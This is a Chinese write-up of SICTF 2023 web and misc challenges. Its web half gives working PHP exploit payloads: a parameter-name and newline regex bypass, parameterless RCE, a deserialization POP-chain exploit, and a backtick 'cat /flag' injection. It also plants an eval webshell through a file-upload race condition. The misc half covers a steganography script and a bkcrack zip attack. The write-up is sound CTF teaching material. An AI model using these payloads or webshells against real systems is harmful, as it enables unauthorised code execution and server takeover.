[SICTF 2023] web&misc

文章目录


web

Baby_PHP

涉及知识点

  1. php解析特性
  2. apache换行解析漏洞
  3. 无参RCE

源代码

复制代码
 <?php
highlight_file(__FILE__);
error_reporting(0);

$query = $_SERVER['QUERY_STRING'];

if (preg_match('/_|%5f|\.|%2E/i', $query)) {
    die('You are Hacker!');
}
if($_GET['k_e_y'] !=='123' && preg_match('/^123$/',$_GET['k_e_y'])){
    echo("You are will Win!<br>");
    if(isset($_POST['command'])){
        $command = $_POST['command'];
        if(!preg_match("/\~|\`|\@|\#|\\$|\%|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$command)){
            eval($command);
        }
        else{
            echo("You are Hacker!");
        }
    }
}
else{
    echo("K_e_y is Errors!");
} 

简单分析一下,我们要GET传参一个值不为123且需要在首行正则匹配到123

我们可以利用php的解析特性遇到空格会被解析成下划线_,传递参数名为k e y

要绕过正则匹配,思路是换行解析漏洞

payload

复制代码
?k e y=123%0a

然后第一步成功后,就是无参RCE

payload

复制代码
highlight_file(next(array_reverse(scandir(current(localeconv())))));

得到flag

我全都要

源代码

复制代码
<?php
highlight_file(__FILE__);

class B{
    public $pop;
    public $i;
    public $nogame;

    public function __destruct()
    {
        if(preg_match("/233333333/",$this->pop)){
            echo "这是一道签到题,不能让新生一直做不出来遭受打击";
        }
    }

    public function game(){
        echo "扣1送地狱火";
        if ($this->i = "1"){
            echo '<img src=\'R.jpg\'>';
            $this->nogame->love();
        }
    }

    public function __clone(){
        echo "必须执行";
        eval($_POST["cmd"]);
    }
}


class A{
    public $Aec;
    public $girl;
    public $boy;

    public function __toString()
    {
        echo "I also want to fall in love";
        if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
            $this->Aec->game();
        }
    }


}


class P{
    public $MyLover;
    public function __call($name, $arguments)
    {
        echo "有对象我会在这打CTF???看我克隆一个对象!";
        if ($name != "game") {
            echo "打游戏去,别想着对象了";
            $this->MyLover = clone new B;
        }
    }

}

if ($_GET["A_B_C"]){
    $poc=$_GET["A_B_C"];
    unserialize($poc);
} 

简单分析一下

第一个点是上传参数要运用到php解析特性

我们只需要上传参数为A B C即可绕过

再来看反序列化,出口是B.__clone(),往前推就到P.__call(),因为会执行克隆从而调用。访问不存在的方法去调用_call()再往前推有两个选择,由于要绕过_call()中的if语句,我们只能是B.game()。调用此方法往前推到A.__toString(),然后往前推是B.__destruct()

pop链子

复制代码
B.__destruct() --> A.__toString() --> B.game() --> P.__call() --> B.__clone()

exp

复制代码
<?php
class B{
    public $pop='233333333';
    public $i="1";
    public $nogame;
}

class A{
    public $Aec;
    public $girl='QNKCDZO';
    public $boy='240610708';
}

class P{
    public $MyLover;   
}
$a=new B();
$b=new A();
$c=new P();
$a->pop=$b;
$b->Aec=$a;
$b->Aec->nogame=$c;
echo serialize($a);
?>

得到flag

RCE

源代码

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","hacker",$code);
$code = str_replace(".","hacker",$code);
eval($code);
?>

过滤了括号,那么函数就用不了

这里用反引号绕过,不过注意点是eval函数,把字符串作为PHP代码执行

payload

复制代码
code=?><?=`cat /flag`;

得到flag

你能跟得上我的speed吗

打开题目,告诉了我们上传文件的路径

我们尝试随便上传个png图片,发现直接被删了
结合题目名字,考点应该是文件上传之条件竞争

这里我们创建1.php,写入

复制代码
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>

解释:在后台删除我们上传文件的间隙写入shell.php

上传后bp抓包,清除全部payload
设置无限上传,不停发包
开始攻击的同时运行py脚本,用来判断是否访问成功

复制代码
import requests
url = "http://210.44.151.51:10138/uploads/1.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

我们先开始攻击
然后运行脚本,当出现成功时表示我们成功写入shell.php

然后蚁剑连接得到flag

misc

Pixel_art

打开附件,发现有加密,盲猜伪加密

解压后得到图片

用010大概看一下没啥收获

只好用stegsolve打开看看是不是lsb隐写

这里发现有png文件
我们直接save bin保存一下,修改后缀为.png

得到一张非常小的照片
结合题目提示,应该是要提取像素

脚本

复制代码
from PIL import Image

image = Image.open('123.png')  # 替换为你的图片文件路径
width, height = image.size
pixel_data = []

for y in range(height):
    for x in range(width):
        pixel = image.getpixel((x, y))
        pixel_data.append(pixel)

print(pixel_data)  

运行结果
这里卡了一下,但是仔细看了下就三个数字不停重复

猜测应该是对应ascii码表

复制代码
46-. 
33-!
63-?

由这三个构成那么就是Ook解码

贴个完整脚本

复制代码
from PIL import Image

image = Image.open('123.png')  # 替换为你的图片文件路径
width, height = image.size
pixel_data = []

for y in range(height):
    for x in range(width):
        pixel = image.getpixel((x, y))
        pixel_data.append(pixel)

count = 0
for i in range(len(pixel_data)):
    if(pixel_data[i] == (0,0,0)):
        break
    for j in pixel_data[i]:
        print(chr(j),end = "")

运行结果
丢到在线网站解码

得到flag

攻破这个压缩包!

打开题目,发现是个被加密的压缩包

试了一下不是伪加密,binwalk也没分析出来

那么考虑深入明文攻击

进行深入明文攻击需要至少12个已知字节。而由于已知压缩包内为png文件,也就知道文件头:

复制代码
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

所以,我们至少知道了16个准确的字节,超过了12个字节,已经满足深入明文攻击的条件了,(多的已知字节可以加快速度),接下来就使用工具即可。

复制代码
bkcrack -C flag.zip -c flag.png -p key.txt -o 0

跑了二十来分钟,出了zip的三段内部密码

直接进行解密即可
得到一张图片

010打开,在最下面找到flag

相关推荐
敏编程3 小时前
一天一个Python库:jsonschema - JSON 数据验证利器
python
前端付豪3 小时前
LangChain记忆:通过Memory记住上次的对话细节
人工智能·python·langchain
databook4 小时前
ManimCE v0.20.1 发布:LaTeX 渲染修复与动画稳定性提升
python·动效
BingoGo6 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack6 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
花酒锄作田16 小时前
使用 pkgutil 实现动态插件系统
python
前端付豪20 小时前
LangChain链 写一篇完美推文?用SequencialChain链接不同的组件
人工智能·python·langchain
曲幽20 小时前
FastAPI实战:打造本地文生图接口,ollama+diffusers让AI绘画更听话
python·fastapi·web·cors·diffusers·lcm·ollama·dreamshaper8·txt2img
老赵全栈实战21 小时前
Pydantic配置管理最佳实践(一)
python
阿尔的代码屋1 天前
[大模型实战 07] 基于 LlamaIndex ReAct 框架手搓全自动博客监控 Agent
人工智能·python